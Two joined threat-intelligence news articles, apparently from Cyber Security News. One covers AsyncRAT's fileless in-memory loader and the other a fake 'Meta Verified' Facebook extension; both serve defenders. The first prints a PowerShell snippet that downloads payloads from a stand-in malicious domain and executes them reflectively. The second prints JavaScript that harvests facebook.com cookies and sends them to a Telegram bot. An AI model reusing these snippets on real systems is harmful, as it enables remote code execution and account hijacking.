Security researchers have recently observed a surge in sophisticated fileless malware campaigns targeting enterprise environments.

AsyncRAT, a powerful Remote Access Trojan, leverages legitimate system tools to execute malicious payloads entirely in memory, effectively sidestepping traditional disk-based defenses.

Emergence of this threat underscores the evolving tactics employed by cyber adversaries to maintain stealth and persistence on compromised systems.

Initial access in the majority of these attacks is achieved through compromised remote support software. Intruders exploit unauthorized ScreenConnect deployments, gaining interactive control over victim machines.

Once inside, they deploy a multi-stage loader written in VBScript. LevelBlue analysts noted that this loader retrieves two encoded payloads—logs.ldk and logs.ldr—from attacker-controlled servers.

These payloads are never written to disk; instead, they are reflected directly into memory, converting raw byte arrays into executable code at runtime.

AsyncRAT’s architecture revolves around modular .NET assemblies designed for both evasion and core RAT functionality.

LevelBlue researchers identified three principal classes within the first-stage DLL: an entry-point initializer, a persistence manager that creates scheduled tasks disguised as legitimate updaters, and an anti-analysis component that patches AMSI and ETW hooks to disable Windows security logging.

Through dynamic API resolution and in-memory loading, the malware maximizes stealth and complicates forensic analysis.

Beyond obfuscation, AsyncRAT’s second stage—AsyncClient.exe—serves as the command-and-control engine.

Encrypted configuration data within the binary specifies C2 domains, ports, infection flags, and target directories.

Upon decryption with AES-256, the client establishes a TCP socket to its control server, exchanging length-prefixed MessagePack packets.

This protocol supports reconnaissance commands, data exfiltration routines, and remote execution of attacker-supplied instructions.

Infection Mechanism

AsyncRAT’s infection mechanism begins with the execution of a simple VBScript, Update.vbs, launched through WScript.exe.

The script employs the following PowerShell snippet to fetch and execute the loader:

$urls = @("http://malicious.domain/logs.ldk","http://malicious.domain/logs.ldr")
foreach ($u in $urls) {
    $bytes = (New-Object Net.WebClient).DownloadData($u)
    [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, @())
}

This concise loader carries out two critical functions: it decrypts the downloaded binaries and invokes their entry points entirely in memory, leaving no forensic footprint on disk.

By chaining reflection-based loading with anti-analysis routines in the Obfuscator.dll, the attacker ensures that each stage remains hidden from endpoint detection tools.

Subsequent control is handed off to AsyncClient.exe, which maintains persistence and enables full remote administration of the host.

Through this fileless approach, AsyncRAT demonstrates how modern malware can blend legitimate scripting platforms with advanced evasion tactics to compromise and control targeted systems seamlessly.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post AsyncRAT Uses Fileless Loader to Bypass Detections and Gain Remote Access appeared first on Cyber Security News.

Malicious actors have launched a sophisticated malvertising campaign on Facebook that coerces unsuspecting users into installing a fake “Meta Verified” browser extension.

Promoted through seemingly legitimate video tutorials, these ads promise to unlock the coveted blue verification tick without paying Meta’s subscription fee.

In reality, the extension is engineered to harvest sensitive user data, including session cookies, access tokens, and IP addresses.

By leveraging trusted platforms like Box.com for hosting, attackers ensure high availability and evade simple URL-blocking defenses, making the scam appear both authentic and risk-free.

Upon closer inspection, the video tutorials accompanying the ads bear the fingerprints of Vietnamese-speaking threat actors, with narration and code comments written in Vietnamese.

The extension’s code, although clumsily obfuscated and likely generated by an AI-assisted toolkit, still effectively exfiltrates data.

Bitdefender analysts identified the use of the Facebook Graph API to query Business account information once valid access tokens are acquired, allowing attackers to distinguish high-value corporate profiles from personal accounts.

Victims who follow the tutorial unwittingly grant the extension permissions to read and export cookies from the facebook.com domain.

Once installed, the extension immediately invokes an exportCookies function that compiles every cookie into a formatted string before transmitting it to a Telegram bot controlled by the attackers.

To further personalize the stolen data, the malware queries https://ipinfo.io/json to append geolocation details, bolstering its marketability on underground forums.

Bitdefender researchers noted that variants of this extension include adjustable parameters for tick size and position, suggesting an automated pipeline for generating new campaign assets with minimal manual effort.

The modular design also supports automatic execution upon Chrome startup, ensuring persistent data harvesting even if users disable and re-enable the extension.

Infection Mechanism Deep Dive

The core of the infection mechanism lies in the malicious extension’s background script, which hooks into Chrome’s cookies API to extract session tokens without triggering user prompts.

After installation—triggered by clicking on an ad link—the extension uses chrome.cookies.getAll({ domain: "facebook.com" }, callback) to gather cookies.

Within the callback, it constructs the payload:-

async function exportCookies() {
  chrome.cookies.getAll({ domain: "facebook.com" }, async cookies => {
    const cookieString = cookies. Map(c => `${c.name}=${c.value}`).join(";");
    const userId = cookies. Find(c => c.name === "c_user")?.value || "Unknown";
    const ipInfo = await fetch('https://ipinfo.io/json').then(r => r.json()).catch(() => ({}));
    const payload = `ID: ${userId}\nIP: ${ipInfo.ip || "Unknown"}\nCookies: ${cookieString}`;
    sendToTelegram(payload);
  });
}

This streamlined approach bypasses many endpoint-based detections, while the use of legitimate domains for hosting and command-and-control reduces the likelihood of rapid takedown.

Security teams should monitor abnormal cookie export activity and enforce rigorous extension vetting to defend against such industrialized malvertising threats.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Beware of Malicious Facebook Ads With Meta Verified Steals User Account Details appeared first on Cyber Security News.